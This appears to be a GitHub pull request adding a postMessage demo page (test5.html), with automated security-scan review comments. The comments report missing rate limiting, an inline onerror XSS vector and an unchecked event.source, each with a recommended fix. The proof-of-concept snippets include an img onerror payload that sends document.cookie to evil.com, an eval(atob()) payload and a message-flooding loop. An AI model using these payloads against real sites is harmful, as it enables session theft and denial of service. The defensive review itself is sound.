Create test5.html#26
Conversation
| <p id="origin">Last message origin: <em>(none)</em></p> | ||
| <div id="output">No message yet.</div> | ||
| </div> | ||
|
|
There was a problem hiding this comment.
🟡 No Rate Limiting on Message Event Handler
Severity: medium
File: test5.html (Line 26)
Description: The message event listener has no rate limiting or throttling mechanism. An attacker could flood the page with thousands of postMessage calls, causing a Denial of Service (DoS) by overwhelming the DOM with rapid innerHTML updates, freezing the browser tab or consuming excessive memory.
Proof of Concept:
An attacker can flood the victim with messages:
// Open victim page
const victim = window.open('https://victim.com/test5.html');
// Send 10,000 messages rapidly
for (let i = 0; i < 10000; i++) {
victim.postMessage('<div>Message ' + i + '</div>', '*');
}
// This will freeze the browser tab
Recommended fix:
let lastMessageTime = 0;
const MESSAGE_THROTTLE_MS = 100;
window.addEventListener('message', (event) => {
const now = Date.now();
if (now - lastMessageTime < MESSAGE_THROTTLE_MS) {
return; // Ignore message
}
lastMessageTime = now;
// Process message
});
Finding ID: 550e8400-e29b-41d4-a716-446655440033
|
|
||
| <hr /> | ||
| <h2>How to reproduce the issue</h2> | ||
| <ol> |
There was a problem hiding this comment.
🔴 Inline Event Handler in Demonstration Code Creates XSS Vector
Severity: high
File: test5.html (Line 42)
Description: The demonstration code on line 42 uses an inline onerror event handler within an img tag. This pattern, even in documentation, demonstrates a dangerous XSS vector and could be copied by developers. Inline event handlers bypass many XSS protections and should never be used, even in examples.
Proof of Concept:
The inline onerror handler executes JavaScript directly:
// This pattern is exploitable
<img src=invalid onerror="fetch('https://evil.com?cookie='+document.cookie)">
// Or more sophisticated attacks
<img src=x onerror="eval(atob('base64_encoded_payload'))">
Recommended: Use addEventListener instead:
const img = document.createElement('img');
img.addEventListener('error', handleError);
img.src = url;
Finding ID: 550e8400-e29b-41d4-a716-446655440032
| <p id="origin">Last message origin: <em>(none)</em></p> | ||
| <div id="output">No message yet.</div> | ||
| </div> | ||
|
|
There was a problem hiding this comment.
🟡 Missing event.source Validation in Message Handler
Severity: medium
File: test5.html (Line 26)
Description: The message event listener does not validate event.source to ensure messages are coming from expected window references. An attacker could open multiple windows and send messages from unexpected sources, potentially bypassing application logic that assumes messages come from specific parent or child windows.
Proof of Concept:
An attacker can send messages from any window reference:
// Open victim page
const victim = window.open('https://victim.com/test5.html');
// Send from unexpected source
const iframe = document.createElement('iframe');
iframe.src = 'https://attacker.com';
document.body.appendChild(iframe);
iframe.contentWindow.postMessage(payload, '*');
Recommended fix:
const expectedSources = new Set([window.opener, window.parent]);
if (!expectedSources.has(event.source)) {
console.warn('Message from unexpected source');
return;
}
Finding ID: 550e8400-e29b-41d4-a716-446655440031
🔒 Hacktron Security Scan Results🛡️ Security Scan Results: postMessage Security AnalysisThis PR introduces 🔄 Attack Surface Analysisgraph LR
A[Attacker Window] -->|1. Open| B[Victim Page]
A -->|2. postMessage| C[Message Handler]
C -->|3. No Origin Check| D{Accept Message}
D -->|4. No Source Check| E[Process Data]
E -->|5. No Rate Limit| F[DOM Update]
F -->|6. innerHTML| G[XSS Execution]
style C fill:#ff6b6b,stroke:#c92a2a
style D fill:#ff6b6b,stroke:#c92a2a
style E fill:#ff6b6b,stroke:#c92a2a
style G fill:#ff6b6b,stroke:#c92a2a
H[Defense Layers] -.->|Missing| C
H -.->|Missing| D
H -.->|Missing| E
🎯 What This PR DoesThis PR adds a demonstration page showcasing the Web Messaging API (postMessage) for cross-origin communication:
🏗️ Implementation DetailsThe page implements a common cross-origin messaging pattern:
📋 Technical SpecificationsMessage Handler Characteristics:
|
No description provided.